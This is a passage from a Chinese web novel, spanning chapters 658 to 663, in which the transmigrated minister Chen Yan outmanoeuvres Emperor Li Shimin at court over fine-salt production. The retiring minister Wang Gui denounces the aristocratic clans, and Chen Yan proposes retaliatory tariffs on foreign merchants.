“由工部召集人手开采毒盐矿石、制作细盐,户部打通一切关系流程,借助钱庄的渠道,可以以最快的速度将细盐普及到全大唐。” “届时,户部的困境瞬间便解除了呀。” 陈衍一边说着,一边皱着眉给马周、韩仲良等人使眼色,甚至还给了魏征等人一个眼神。 当然,这一切都被上面的李世民看在眼里。 他脸色已经变得黢黑黢黑的了。 “呃......臣附议。”韩仲良抿了抿唇,还是站了出来。 马周自然不用多说,直接站出来跟上了。 魏征憋着笑,低着头拱手:“陛下,陈尚书所言臣认为可行,反正我大唐对于盐铁管控不严,陈尚书也不禁止其他人贩卖,他只是找到了新盐,想以低廉的价格售卖给百姓罢了。” “这可谓是双全之法。” “百姓吃上了更好、更便宜的盐,户部解决了财政紧张的困境。” “陛下,这是天大的好事了。” “对对对......”房玄龄死死咬着唇,重重地点头:“陛......陛下,此乃好事啊。” 李世民握着拳,恶狠狠地盯着陈衍。 那眼神恨不得当场把陈衍吃了似的。 捏麻的! 这样玩是吧? “.......” 第658章 树倒猢狲散 “好!” “很好!” “很好啊!” 李世民瞪着陈衍,手掌死死握着龙椅扶手,上面青筋鼓起,似是在极力忍受什么。 “不愧是朕的爱卿,总能给朕带来不一样的惊喜,朕......甚是欣慰啊!” “陛下过奖了。”陈衍干咳一声,显得有些不太好意思。 “其他爱卿认为呢?”李世民火气蹭蹭往上冒,偏偏还不好说什么。 毕竟细盐的制作之法就是陈衍拿出来的,放在自己手中,确实有些浪费了。 给户部,无论从哪方面来说都更好。 但问题是,事不是这样办的呀。 倘若陈衍私下跟自己商量商量,聊聊天、喝喝酒,交给户部就交给户部了。 自家人有什么不好说的? 可陈衍干了什么? 当着满朝文武的面,说自己手下有人发现了更好的细盐制作之法,这他娘是架他来了啊。 根本没给他拒绝的机会。 又特么苦我是吧? “那个......”杜如晦默默道:“陛下,臣觉得此事确实算得上一件好事,臣没有异议。” “萧爱卿呢?”李世民懒得理这些人。 他心里清楚得很,陈衍提出这件事之前,搞不好都跟他们私底下通过气了。 李世民不想让陈衍好过,所以把目光投向了跟陈衍有巨大过节的萧瑀。 反正今天自己被气到了,他不打算让陈衍过得舒心。 本以为萧瑀都被陈衍打了一顿,丢尽了颜面,有机会肯定要出来针对一下。 更何况李世民甚至还给了萧瑀一个鼓励的眼神,意思再明显不过。 只是让李世民没想到的是,萧瑀这货跟没看到一样,板板正正地作揖:“陛下,臣对此不发表看法,不过听陈尚书的说法,各方面确实没什么问题。” 他没有明确支持,但话语中很显然在偏向陈衍。 李世民更气了。 废物! 给你机会都不中用。 殊不知,萧瑀早就打定了主意,只要是关于陈衍的,他都不沾边。 吃一次大亏难道还不够,还得再来一次吗? 再说了,你们翁婿俩自己的事,我们无论站哪一边都讨不到好。 谁乐意管? “所以......你们都觉得没问题?” 李世民扫视殿内众多官员,又定格在程咬金和尉迟恭这俩卧龙凤雏身上。 这么好坑陈衍的机会,你们总不能放过了吧? 可这俩货精得跟猴儿一样,低着头,就当做没看到。 “好!” 李世民压下心里的火气:“既然你们都同意,那就按照咱们伯爷的想法来!” “不是说你有更好的细盐制作方法吗?那就跟试用期的康崇自己商量商量,等过两日递上来折子,朕给你们批复!” “退朝!!” 最后一句话,李世民明显压着情绪,挥着袖子径直离开了。 “臣等,恭送陛下。” 百官走完流程,然后有序离开大殿。 杜如晦等人揣着手,跟陈衍走在一起。 长孙无忌低声道:“按照我对陛下的了解,今日陛下或许真的生气了。子安,你有些太直接了,应该委婉点的。” 魏征不认同这句话:“这难道还不够委婉吗?要我说,陛下就是太看重那点利益了,陈衍都说下人发现了更好的技术,还能怎么委婉?” “你们仔细算算陈衍从贞观四年到现在,陛下从袜子破了洞都没舍得换一双新袜子,到今年长孙皇后的寿宴规模上升了不止一个层次。” “陈衍带给他的利益已经足够大了,光一个钱庄就够皇室吃一辈子,还占着细盐干什么?” “每天苦巴巴地守着那点税收,掰着手指头算账,每一任户部尚书都要练就一身骂人的本事,说起来都丢人。” “有机会在不加收赋税的情况下,增加国库收入,何乐不为呢?” 几人听到这些话,心里顿时一惊。 房玄龄急忙拉着魏征,小声道:“我说魏征,这才刚出太极殿呢,人多眼杂,你说话能不能悠着点?” “这话要是传到陛下耳朵里,够你喝上一壶了。” 杜如晦看着陈衍悠哉的模样,似乎一点都不慌,心里疑惑道:“子安,陛下真的生气了?” “你恐怕要吃些苦头了,怎么看你好像一点都不担心呢?” “担心什么?”陈衍反问:“陛下的性子你们还不清楚吗?” “今天是伯爷,明天我依旧是陈爱卿。” “慌什么?” “只要我现在不去触陛下的霉头,不再惹怒他,给皇后殿下一点微操的时间,我不但没事,反倒有功。” 众人:“......” 长孙无忌道:“话是这么说......不过我感觉今天不对劲,你为什么不在私底下跟陛下先商量商量呢?” “如果先在私底下跟陛下商量商量,陛下压根不至于生气,你不是万无一失吗?” “这不一样。”陈衍摇摇头,停下了脚步,望着远处身旁无人,缓步离开的王珪,目光忽然多出了一丝复杂。 几人顺着他的目光看过去,发现了前面的王珪。 此时的他孤身一人,与周围三三两两聚在一起的官员形成了鲜明的对比。 “树倒猢狲散,自从王珪从侍中的位置上下来,他就已经是这样了,更何况现在彻底退了下去。” 房玄龄沉默道:“另外,王珪以前在世家其实并不怎么受到重视,直到后来崛起,世家才给了助力,然后一路飞黄腾达。” 陈衍疑惑道:“我记得王珪后来在世家的地位不是很高吗?足以跟他们的族老并肩,怎么会这样?” 长孙无忌冷笑:“王珪曾经确实能跟世家的族老并肩,但那仅限于他还是侍中、工部尚书的时候。” “再者,王珪最厉害的是‘人物品藻’,很擅长识别人才、分辨善恶、确立标准、主持礼法,这对当时需要适应新王朝的世家来说是不可或缺的人物。” “而如今,一切走上正轨,他自己又下去了,现在他......” 说着,长孙无忌停顿了一下,没再继续说下去,又重新问道: “对了,先不说他了,我刚刚还想问你,为什么不先私底下跟陛下说呢?” “有什么不一样吗?” 陈衍望着王珪渐渐消失、略微显得孤寂的背影,没有回答长孙无忌的问题,喃喃道:“最厉害的是人物品藻?” “那你真的没有发现我要做的事吗?” “......” 第659章 我不欠你们的 对于陈衍几人的交谈,王珪一无所知,就算知道,也不会在意什么。 因为他今天不打算先去吏部,而是打算先回一趟世家的聚集地。 他想把所有事情都在今天解决,然后返回老家,就此隐居。 跟以往不同的是,王珪这次没有乘坐马车,一路走出皇宫,途经热闹的朱雀大街。 望着周围的人潮汹涌,王珪慢慢、慢慢地走着,一点都不着急,似乎也感觉不到累了。 回忆往昔,他已经记不清楚,自己的心有多久没有这般平静,这般轻松过了。 不用考虑公务、不用考虑什么利益、得失,一切烦恼都被抛之脑后,像个寻常的老人家一样,漫步在这座繁华的长安城中。 不知过去了多久,王珪走进了王家在长安的祠堂内。 不出他所料,这里已经坐满了人,各方世家的代表,三位族老,以及年轻一辈的崔宣。 王珪静静地扫过上面,那里原本还有一个位置是留给他的,如今却没有了。 不过他一点都不觉得意外,更不觉得愤怒,只是平静地接受了这一切。 “王珪,你是不是该给我们一个解释?”上方首位,一位看起来年过七十的老人眼睛微微睁开,盯着下面的王珪。 明明只是很轻的语气,可压迫感与威严十足:“为什么不事先跟我们商量,擅自辞去工部尚书一职?” “理由竟是可笑的年老体衰,无力担任。” “你说这话,你自己相信吗?” “崔叔,您这是打算问罪于我?”王珪嘴角露出一丝笑容,又环视在场所有人:“还是说,你们都打算问罪于我?” 上方开口的那位老人,正是目前崔家最大的主事人之一,辈分比王珪还大一辈。 郑知礼沉声道:“王老,我等自然没有什么问罪于你的心思,只是......你应该很清楚如今的情况。” “陈衍那小瘪崽子跟李世民对我们步步紧逼,不断在各个方面、领域,试探我们的底线、一而再、再而三地用奸计削弱我们的影响力。” “前段时间,陈衍联合了朝堂接近一半的人,甚至连远在渭南县的秦琼都喊了回来,一举推动了佛门的特权取消。” “以您的头脑,难道想不明白其中的问题吗?” “陈衍跟李世民暂时不敢动地主、动勋贵、动各个家族,所以拿了好欺负的佛门先开刀。” “可他们难道没有针对我们的计谋吗?累进税制,这是早就被提出来的东西。” “一旦实施下去,我们的利益将遭受到前所未有的打击,更致命的是,倘若我们的影响力一再削弱,达到一定地步,很可能就会跟佛门一样,被陈衍和李世民这翁婿俩一举铲除。” “而在这个节骨眼,作为我们在朝堂中影响力最大的几人之一,您竟然在没有事先跟我们知会一声的情况下,直接提出了辞官。” “王老.......我想,您应该给我们一个解释。” 郑知礼的话音落下之后,其余人皆沉默了,上面的三位老人注视着下面的王珪,没有言语。 很显然,郑知礼的话,就是他们想说的话。 王珪淡淡笑了笑,目光从其余人脸上扫过,最后定格在郑知礼身上:“按理来说,以你的身份,还无权质问我。” “不过看在上面三位的面子上,我可以跟你解释解释。” 王珪不急不缓地说着,眼里多出了一抹回忆:“记得当初,我最先辅佐的是太子李建成......呵呵,我最先担任太子中舍人,后转为太子中允,备受李建成信任。” “当然啦,这些都是凭借我自己努力得来的,跟你们没有丝毫关系。” “那个时候啊,我本以为未来会随着李建成登上皇位,从而地位水涨船高。” “只可惜,武德七年的时候,李建成为了削弱当时还是秦王的李世民势力,利用职权将李世民的亲信房玄龄和杜如晦逐出了秦王府。” “在这个过程中,我被当做了牺牲品,被太上皇李渊迁怒,认为我作为太子属官,没有劝导太子走正道,反而牵扯进皇子之间的倾轧,以‘坐与利’的罪名,将我流放到了嶲州。” “那是我一生当中,最为落魄的时刻。”王珪缓缓诉说着,像是在说一件微不足道的小事,眼里没有任何情绪起伏。 “当时的我,一夜之间从东宫红人,未来的股肱之臣,变成了戴罪之身的落魄流民。” “在嶲州的时候,我身无分文,靠着帮人写婚书、卖字画,赚取微不足道的钱财,勉强活了下来。” “现在想想,依然觉得那段日子是真的苦,为了生活下去,丢弃了脸皮、尊严,拼尽全力才勉强没饿死。” 王珪抬起头,轻笑着问:“那个时候,你们在哪里呢?” “你们明明是高高在上的世家,家里积攒的钱财足以让世人疯狂,但凡从指甲缝里抠出一点死皮,都足够我富足地度过那段艰难的时光。” “可你们多看我一眼了吗?” 崔老平静道:“所以......你在抱怨?” “想用这种方式报复我们?” “当然不是。”王珪只觉得可笑,他难道看起来是这么幼稚的人吗? “崔叔,您为何会产生这么可笑的想法?辉煌时拥护,落魄时远离,这本就是常态。” “我早已接受,谈何抱怨?” “我想告诉您的是......”王珪盯着崔老,认真道:“最艰难那段路,是我自己走出来的,没有依靠你们任何人。” “即便后来我重新回到朝堂,成为了宰相,期间确实有你们的帮助,但这么多年以来,我对你们的帮助,早就超过你们对我的付出,欠你们的,我早就还清了!” “你们有什么资格来质问我?” “自我走进这里以来,连个位置都没给我留,怎么?” “千年的底蕴,已经让你们骨子里的傲慢达到这种地步了吗?” “连最基本的付出与回报比例都认不清,还不清楚我王珪早已不欠你们了!?” “......” 第660章 陈衍的出现,是为了将你们埋葬 本以为自己的话,会让这些人多少有些情绪起伏,或是震怒、或是谩骂。 总之王珪已经做好了被针对的准备。 没曾想,这些人只是冷眼看着他,似乎一点都不为他的话语所动。 王珪顿时明白了,自嘲一笑。 原来如此。 自己如今已经失去了一切地位,即将脱去身上穿的官袍,沦为一个糟老头子。 他已经没有了任何利用价值。 这些骨子里傲慢无比的人,怎么会在意一个糟老头子的话? 王延之沉声道:“王叔,不要扯这些没用的东西了,您始终姓王,是王家人,这是出身以来就被打上的印记,无法被任何东西所磨灭。” “我知道您心里存在怨气,当初您落魄的时候,家族没有对你伸出过援助之手。” “但您也说了,世态炎凉,本就是常态,天下熙熙皆为利往,你若是无法带来利益,谁会关注您呢?” “自你后来辉煌了,不一样是这样做的吗?” “我也没见您帮助过落魄的家族人。” “天下皆如此,有什么好抱怨的?” “如果您心里真的有气,可以对我撒,大可不必当着这么多人的面说。” 沉默。 除了沉默,还是沉默。 王珪真的无言以对了。 其实他一直知道世家人处理事情的方式,只是没想到轮到自己的时候,会这么不讲情面。 嘴里叫着自己王叔,然而说出来的话,一点都没把他当叔看。 不过这都无所谓。 反正从今天开始,他不仅打算退出朝堂,更要退出这个充满利益与算计的家了。 别人怎么说,怎么看,都不影响他。 王珪淡淡道:“随便你们怎么想吧,你们都是大人物,我一个糟老头子能有什么意见?” “你们觉得我在抱怨就抱怨吧,都无所谓。” “对了,你们还想说什么,麻烦快一点,我还需要走一趟吏部,走完一下辞官的流程。” “我早已命人收拾好了家里,这两天就打算离开长安城了。” 崔瀚皱了皱眉,他不在意王珪什么时候离开,皱眉是因为王珪竟然早有准备了。 “王老,我叫您一声王老,您做的这件事,是不是有些太过分了?” “好,我们先不说辞官的事,您辞官也就罢了,为什么还要举荐康崇,你难道不清楚他是陈衍一手提拔上来的人吗?” “你这是在提拔我们的敌人,然后反过来针对我们自己!” 郑知礼附和道:“不错,那康崇算什么东西?不过是一个寒门出身,有几分运道的小子罢了。” “曾经的他被一个户部侍郎压了十几年,早已磨灭了他的心气。” “更别说他还是陈衍一手提拔上来的。” “您就算要退,倘若举荐家族在朝中的人,我们也就不说什么了,可是王老,您这件事,真的做得有点过了。” “那又怎样?”王珪轻嗤,“如何呢?” “又怎样?” “我王珪做事,什么时候轮到你来指手画脚了?” 郑知礼阴沉着脸:“王珪,你还有脸在这里大放厥词?” 他对王珪的称呼,已经从王老变成了王珪。 显然,郑知礼已经动怒了。 “呵呵......”王珪冷冷扫过祠堂里的人,“说真的,我现在已经开始后悔了。” “我确实不该举荐康崇,为你们在陈衍那里留下一份情谊,为你们将来留下一条退路。” “千年世家?” “你们的嘴脸真让我作呕!” “你什么意思?”上方的崔老脸色微变,从王珪的话语里听出了一些东西。 “什么意思?”王珪收敛自己的表情,平静道:“没什么意思,只是感到高兴罢了。” “你们确实势大,在面对陈衍和李世民层出不穷的手段,依然能保持稳定。” “看似付出了巨大的代价,实则都在能接受的范围之内,影响力、基本盘仍然还在。” “所以陈衍和李世民才如此忌惮你们,迟迟不敢动手,连早就提出来的累进税制,直到今天都没敢正式提出来。” “不过,我已经有预感了。” 郑知礼死死盯着他问:“什么预感?” “什么预感?当然是你们被陈衍逐个击破,然后像是清扫垃圾一样,扫进垃圾堆里,然后一把火烧掉!” 王珪说着说着,忽然顿了顿,然后哈哈大笑起来:“我明白了。” “我说为什么天下会出现陈衍这样的人,似仙非仙,妖孽至极!” “王朝更迭,旧时代的一切都被埋在浩瀚史书里,成为上面冷冰冰的文字。” “放你娘的狗屁!”崔老好似被王珪的话戳中了心里不愿意承认的事情,怒斥道:“我们屹立千年不朽,谁能灭我?谁能杀我?” “你急了!”王珪笑得眼泪都出来了,嘶吼道:“在这片土地上,每一个时代,总是会孕育出一些旁人难以理解的人物。” “例如统一六国,开创大统一王朝的始皇嬴政,例如四十八岁看狗打架,五十四岁问鼎天下的刘邦。” “十七岁勇冠三军,二十一岁封狼居胥的霍去病。一开始只想好好种田,最后却再造大汉的汉光武帝!” “......哈哈哈,还有一生从无败绩,令四夷宾服,万国来朝的李世民。” “他们每一个人都带着自己的目的、使命,降临在这片土地上,或是为了统一、或是为了终结、亦或是为了拯救。” “而陈衍!” 说到此处,王珪猛地停下来,指着众人:“他的出现,就是为了扫清你们这些旧时代的余孽。” “你们终将灭亡,成为古史!” “就像当初黄巾起义,喊出‘苍天已死,黄天当立,’,他是为了终结汉朝!” “陈衍,是为了清除你们这些肮脏、肥硕的蛀虫!” “这就是天意!” 随着王珪的话音落下,祠堂内安静了许久,半晌没人开口。 过了好一会儿,崔老收起了怒容,缓缓道:“王珪已经疯了,来人,把他带下去。” “不用!”王珪一挥手,转身离去,只有几段话回荡在祠堂内。 “我疯没疯,我很清楚,你们也很清楚。” “我等着!” “等着陈衍,把你们引以为傲的辉煌与傲慢,一同埋葬!” “.......” 第661章 那免死金牌,还能收回来不? “反啦!反啦!” “这混账东西反啦!” 李世民一回到甘露殿,照例处理公务,只是越想越气,一下子掀翻了面前的案几,文书、奏折、笔墨纸砚掉落一地。 殿内的宫女和宦官瞬间跪了下去,连无舌都被吓了一激灵。 李世民背着手,来回踱步,过了一会停顿下来,对着无舌厉声道:“朕问你,朕是不是太过容忍这小子了?导致他现在有些蹬鼻子上脸?” “他既然都没事先知会朕一声,就舔着脸上来逼朕把用两个闺女才换过来的制盐利益全交出去。” “他眼里还有没有朕?” “.......呃。”无舌汗流浃背,擦了擦额头说:“陛......陛下,或许陈尚书是另有打算呢?” “按照他的性格,做事定然要考虑周期,以求万无一失。” “特别是在涉及您的事情上,陈尚书一般都会慎重,慎重,再慎重,倘若没有原因的话,陈尚书应该不会这样做才对。” “不会个屁!”李世民怒骂道:“那小子每天穿得白白净净、长得人模狗样的,实则全他娘是假象。” “这混账东西,里面已经黑透了。” “他慎重个屁,他就是想苦一苦我,舒服一下他自己。” 说着,李世民深呼吸两口,咬牙切齿道:“朕真是看走眼了啊,想当初那么坚定地保他做户部尚书。” “起初这小子还是干得不错,上任以来不断给朕带来惊喜,连佛门的特权都被他灭掉了。” “不过小王八蛋!” 李世民闭了闭眼,自嘲道:“解决了外部的敌人,立马又将矛头对准了朕。” “朕信了他的邪啊!” 无舌闻言,一下子跪了下去:“陛下息怒。” 李世民抬起手,指着外面道:“去,去把那小王八蛋给朕叫过来!” “是,陛下。” 无舌不敢耽误,连忙应下,亲自去了。 待他离开,李世民重新坐下来,一时没有言语,只是闭着眼睛,似乎在养神。 只是不断起伏的胸膛,依然看得出他心里不平静。 “奴婢参见公主殿下......” “阿耶,阿耶呀!” 殿内还没安静多久,外面忽然就传来了参拜声和一道熟悉的声音。 李世民一怔,睁开眼,便看到小兕子哭哭唧唧地朝他跑过来。 “兕子!” 他心里一喜,“你怎么来啦?” “阿耶,我都想死你啦。” 兕子红着眼,硬生生挤出一滴眼泪,然后一把扑进李世民怀里,小脑袋不断蹭着。 “哎呀,阿耶的好兕子,你怎么一声不吭地回来啦?”李世民抱着自己的乖女儿,方才的怒气瞬间就平息了,只觉得自己的小闺女愈发令人稀罕了。 “阿耶。”兕子抬起脑袋,软软糯糯道:“我回来你不高兴吗?” “高兴!兕子回来阿耶怎么不高兴呢?” “那阿耶怎么还在生气呀?”兕子伸出小指头,指了指被李世民踹翻的案几,以及散落一地的文书奏折。 提起此事,李世民脸色沉了一下,没好气道:“还不是因为你阿兄?” “你可知你阿兄今日干了什么?他竟然把主意打到了你阿耶头上。” “关键打了就打了,他还没提前跟阿耶说一声,直接在朝堂上用言语逼迫你阿耶。” “阿耶是因为他才生气的,不是因为你哈。” 兕子眨眨眼,心里暗自腹诽:‘难怪你这么着急想把我送回来,阿娘那么着急让我现在过来找阿耶,原来已经把我算进去了呀?’ ‘真有你们的。’ 小家伙眼珠子转了转,一脸无辜道:“那阿耶......你要打阿兄板子吗?” “兕子可以帮你监督,再打他二十大板,这次绝对不给他在屁股上垫东西!” 李世民:“......” 果然是漏风小棉袄啊。 不仅对他漏风,对陈衍亦是如此。 完完全全打二十大板,你这不是奔着他半条命去的吗? “......兕子啊。”李世民语重心长道:“你阿兄毕竟是你姐夫,咱们是一家人。” “朝堂上的公务,那是属于国家大事,怎么争吵其实都无所谓的。” “如果有气,咱们大可以私底下关上门解决,不能动不动就打人板子呀。” “要不然真把你阿兄打出一个好歹来,你两个阿姐该不乐意了。” “没事哒!”兕子一脸理所当然道:“丽质阿姐和高阳阿姐恨不得阿兄没了半条命呢,特别是高阳阿姐,总说着要打断阿兄的腿,免得整天在外面跑,不知道回家。” “上次阿兄被关进大理寺狱的时候,高阳阿姐都帮阿兄订了棺材,她可乐意啦。” 李世民:“......” 这时,长孙皇后走进来,正好听到了兕子最后一句话,脸当即黑了下来。 “你说的是真的?高阳给子安订了棺材?” “那还能有假?这是高阳阿姐亲口说的,只是后来听说阿兄没死,又退掉了而已。”兕子拍着胸脯道。 长孙皇后眼神一冷:“好一个高阳,我看你两个阿姐是出了皇宫,有些无法无天了,等日后,我定然要好好教训教训她们。” “亏我从小把她们带在身边教导,结果就教导出给丈夫订棺材的妻子?” “观音婢。”李世民眼看自己的妻子好像真的生气了,忙劝道:“关于高阳这件事......里面的隐情颇多,等日后我慢慢跟你解释,反正事情不是你想的那样的。” “再说了,就算高阳如此,丽质难道还不清楚吗?” “这件事啊,你信三分就好了。” “是吗?”长孙皇后听后,沉思了一会儿,收敛起怒容,目光扫过被李世民踹翻的案几。 “二郎,你这是......?” 被这么一打岔,李世民的火气早消得差不多了,顺着长孙皇后的目光看了看,唉声叹气道: “没什么事,朕就是感觉自己上了那小王八蛋的大当。” “那免死金牌,朕还能收回来不?” “.......” 第662章 真正的利润 长孙皇后面带笑意。 今天早上发生了什么,她心里自然是清楚的。 不然也不会这个时候带着刚回宫的兕子回来。 说实话,其实长孙皇后同样很不理解陈衍的做法,不过她却知道,是时候让自己这个做皇后、做岳母、做妻子的人来插手了。 “二郎,那子安多鸡贼啊,没有把握的事情,他定然是不会做的。” “一旦做了,估计心里早就有办法来平息你的怒火,你现在生气没有用,得看看子安怎么说。” “不如,臣妾替你去把子安叫过来看看?” 李世民神色缓和了许多,摆手道:“不用了,朕已经让人去叫了。” “观音婢,朕其实也清楚,细盐给户部和工部来共同运作更好,只是朕这心里就是不舒坦啊。” “你说这小子怎么就这么混账呢?” “他把朕当突厥人整啊!” 长孙皇后无言,不好说什么。 这件事其实挺复杂的,说是政事不错,可同样也算他们的私事。 毕竟细盐的制作方法,是陈衍一开始献出来的,现在又要被他要回去...... 李世民的心情,她可以理解。 “阿耶,打阿兄板子,我帮你监督。” 兕子又跳出来嚷嚷道。 李世民夫妇:“......” “啧。”长孙皇后微微蹙眉,瞪了女儿一眼,“你就喊吧,打打打,现在喊着打,真打了你又不乐意了。” “也不知道上次是谁,带着皇爷爷哭哭啼啼地找过来,指着我跟你阿耶说我们坏,还吵着不要留在长安了,要回渭南县住。” “行啊,你今天就去,我待会派人送你过去。” “不要不要!”兕子一听,急了,忙摇头道:“我才不去渭南县,我就要留在长安。” 她一点没觉得不好意思,拉着长孙皇后和李世民的手,甜甜道:“我留在阿耶阿娘身边呀。” “是吗?”长孙皇后不置可否,下巴轻轻点了点,似笑非笑道:“可我怎么听说,你想一直留在陈府,死活不愿意回宫呢?” “依我看,没有我跟你阿耶,你也可以过得很好。” 兕子抱着她的手臂,撒娇道:“怎么会呢?就是因为有您和阿耶,我才能更好地生活呀。” “阿娘,阿娘,你看我,你看我!” 兕子睁着大眼睛:“您都没有发现,我现在满眼都是您嘛?” 长孙皇后:“......” “哈哈哈哈哈。”李世民听到母女俩的交谈,忍不住开怀大笑:“观音婢啊,小家伙长大了,从最初的咿咿呀呀的小家伙,变成了如今这么会说话的小大人啦。” “不错不错。” 长孙皇后揉了揉露出傲娇小表情的女儿,自己也莞尔一笑。 “陛下。” 此时,离开不久的无舌走进来:“陈尚书来了。” “这么快?”李世民一愣,转瞬间便反应了过来。 这小子恐怕一直等着他呢。 “宣!” 命令下出去,没过多久,甘露殿大门后面便探出了一个脑袋,贼溜溜地打量着里面。 长孙皇后和李世民看到这一幕,嘴角止不住地抽搐。 彼其娘之,你还说不是你带坏的兕子? “陛下,皇后殿下,我能进来不?” “你能进就进,不能进就滚,看看你的样子,还户部尚书?跟那三岁的孩童有什么区别?” “......好嘞,那我滚了哈。”陈衍闻言,没有丝毫犹豫,转身就打算滚了。 李世民好悬一口气没上来,怒道:“你给朕滚进来!” “......行吧,刚刚又让我滚出去,现在又让我滚进来......陛下,不是我说您,您的这个脾气该改改了噢。” 李世民:“......” 长孙皇后面露古怪,忍俊不禁,兕子则瞪大了眼睛,等着看好戏。 “你......我......算了,不用废话了!” 李世民深吸一口气:“无舌,取朕剑来,今天他若不给朕一个好的解释,朕立马砍了他!” “您看,又急。” “朕急了吗?” “您没有吗?” “......别他娘的跟朕废话,朕给你一个解释的机会!” 陈衍痛心疾首道:“陛下,您还想让我解释什么?或者说,我还有什么好解释的?” “我的所作所为,不都被您看在眼里吗?我的目的是什么,您难道还不清楚吗?” “我可都是为了我大唐啊,我为了朝廷争取利益,希望增加我大唐的国库收入,结果您要砍我?” “道理何在、法理何在、天理......” “你若继续废话,朕今天保证不打死你!”李世民面无表情。 陈衍一下收敛了自己的表情,干咳一声:“陛下,怎么说呢,陛下,细盐其实不是主要的目的。” “虽然我们贩卖的价格很低,不过架不住量大,在那么大的基数下,每年的收入一样是天文数字。” “这看似很好,实则真正的利润,并不在我们大唐。” 李世民沉思道:“你指的是大唐之外?” “你想把细盐卖出大唐?跟绢帛一样?” “不不不。”陈衍忙摇头,否定了李世民的想法。 李世民和长孙皇后对视一眼,有些不理解了。 细盐,在他们大唐是珍贵的东西,在异域就更加珍贵了。 同样是走得越远,价格就越贵。 而且它不像绢帛那样受制于原材料等等原因,产量有限。 细盐这东西,就是找几个毒盐矿,便能大规模开采提炼,还没人工贵呢。 倘若卖到异域,岂不是更赚钱吗? “陛下,您对这件事的理解存在一定误解。”陈衍耐心解释道:“我们的细盐是需要给全大唐吃的,目的是让百姓能吃得上更好、更干净、更便宜的盐。” “这东西谁都可以买到,那么,异域的商人同样如此,即便我们立下规矩,一家一户每个月只能买多少,意义其实也不大。” “他们大可以花点钱请人购买,只要利益足够,总会有漏洞给他们钻。” “另外,存在这种问题的,不仅仅是细盐,绢帛亦是如此。” 李世民挑眉问:“所以,你打算做什么?” 陈衍笑吟吟道:“陛下,大唐可是万国来朝,长安城汇聚了所有异域商人,物品、钱财的流通何其之大。” “其中的利益,更是足以让所有人心惊。” “.......” 第663章 不服?那就让他们打到长安跟我说 “人家的钱财流通,跟咱们有什么关系?” 李世民没好气道:“货是人家带来的,人家想卖多少就卖多少,例如从前那些琉璃,就算他们卖出天价又能如何?” “还不是有人买?” “你难不成还要限制他们买卖?” “陛下误会了。”陈衍觉得无语,这李世民怎么不开窍呢? 他只好耐心解释道:“这些个异域商人,不仅带来物品赚我大唐的钱,回去的时候还带走了我大唐的商品,两头赚取暴利。” “就好比您说的琉璃......当然,这个东西现在可能没那么值钱了,现在我们自己能做琉璃,这玩意不说泛滥,却也差不了多少。” “不过这东西以前值钱呀,还有各种异域来的稀罕物品。” “他们把东西带到大唐,卖给大唐的商贾、勋贵甚至皇室,然后购买当地的丝绸、陶瓷等物品带回去。” “说白了,这就是倒买倒卖,因为其异域商人的身份问题,这可以说是一本万利的买卖,只需要付出一些时间成本在路上就好了。” “然而,您有没有想过,为什么这些人赚钱这么简单,而我大唐的商人出去赚钱,却那么难?” 李世民听后皱了皱眉,思索了一会儿,眉头舒展,对陈衍露出了一个意味深长的笑容。 他好像明白陈衍想干什么了。 长孙皇后见李世民没答话,便开口道:“大唐的商人,想出去赚钱之所以困难,一是因为没有安全可靠的路线,没有好的领路人,很容易迷失。” “即便现在我们大唐有商人出去做买卖,但其实去的并不远。” “你当初跟世家合作绢帛的买卖,不就是因为想要稳定可靠的路线吗?” “然后你拿到了路线,转头就直接把落后的绢帛技术打包卖给了世家。” 话落,长孙皇后继续道:“第二是因为人在异国他乡,很容易发生意外,沿路的马匪、天气、路况都是很大的考验。” “第三,去得越远,利润越高,这句话确实不错,不过,一旦去得远,关税亦会越多。” “丝绸之路并不是一条空旷的大道,而是一个个绿洲小国组成的,他们每一个国家都有自己的税收制度,商队要过路,必须要缴纳‘入城税’,或者‘过境税’,去得越远,意味着路过的关卡越多,需要缴纳的税......” 说着说着,长孙皇后忽然停住了。 她认真看了笑吟吟的陈衍,一双凤眸闪烁着莫名的光芒。 “子安......本宫好像知道你想做什么了......” “皇后殿下高见。”陈衍低笑:“我大唐身为天下中心,向来以礼仪之邦著称,不管是哪个国家的商人来我大唐做买卖,我们都未曾收取过关税。” “但问题是,我们展现了诚意,异域诸国却不这么想,他们对大唐商人收取关税,对本国商人却免了过路费。” “他们自己赚得盆满钵满,而我大唐的商人出去,却要面对各种问题。” “天下哪有这样的道理?” 李世民没开口,只是给了陈衍一个鼓励的眼神。 说,继续说。 朕就爱听这个。 陈衍顿了顿,再度开口:“陛下,您有没有了解过异域诸国对于我大唐的商人出去,收取的关税是多少?” “朕......是应该清楚呢,还是应该不清楚呢?”李世民没有第一时间回答,而是反问了一句。 “陛下,这个您可以清楚。” “好吧,那朕就清楚......嗯,如果朕没记错的话,如高昌、龟兹、疏勒、于阗等,这些国家尚未被大唐完全掌握,根据朕从前听到的消息,他们收取的关税、过境费,约莫是货物的四十之一,甚至十之一。” “最高达到了货物数量的一成。” “层层关卡过去,商人的货物就已经所剩无几了。” “没错!”陈衍点点头,双手一摊,“陛下,您难道不觉得这有些太欺负人了吗?” “我们给出了自己的诚意,对待异域商人给予了最大的包容,不仅允许他们免过境费来我大唐做倒卖生意,还需要在一定程度上对他们进行保护?” “可他们这样做......似乎一点都没把我们放在眼里啊!” 李世民重重点头:“贤婿所言极是!” “所以你打算怎么做?” 听到这句‘贤婿’,陈衍的嘴角忍不住抽搐了一下,他记得自己刚刚还说小王八蛋来着。 不过现在不是关注这些问题的时候,他郑重道:“人以礼待我,我必还之以礼,人若以怨待我,难不成还要我报之以歌?” “既然他们敢收这个关税,欺负我大唐商人,那我大唐何必跟他讲什么礼?” “咱们也收关税,而且要按照最高的一成收!想来我大唐做无本的买卖,那不可能!” 李世民笑了,又问:“如果异域诸国有意见呢?” “有意见?”陈衍冷笑:“那就让他们派兵来打啊!” “倘若不服,就带着自己的军队,打到长安来跟我们说,如果不行,那就得给我憋着!” 好! 好一个不服就带着自己的军队,打到长安来跟我们说。 这句话可真是说到李世民心里了。 自东突厥打到渭水,迫使唐朝立下堪称耻辱的渭水之约;贞观四年,他发兵平定东突厥后,大唐已彻彻底底成为天下第一大国。 此时此刻,他们当然有资格说出这句话。 你不服又能怎么样? 不服也得给我憋着! 长孙皇后有些担忧道:“这会不会影响诸多异域国家的和睦?毕竟今年我们还要对吐谷浑出兵......” “殿下!”陈衍打断了长孙皇后的话,整个天下,估计也就只有他敢这么做。 “万国来朝,不应该是虚假的繁荣,弱者才需要谈什么和睦,而强者,只需要坐在高处,享受众人恐惧的朝拜!” 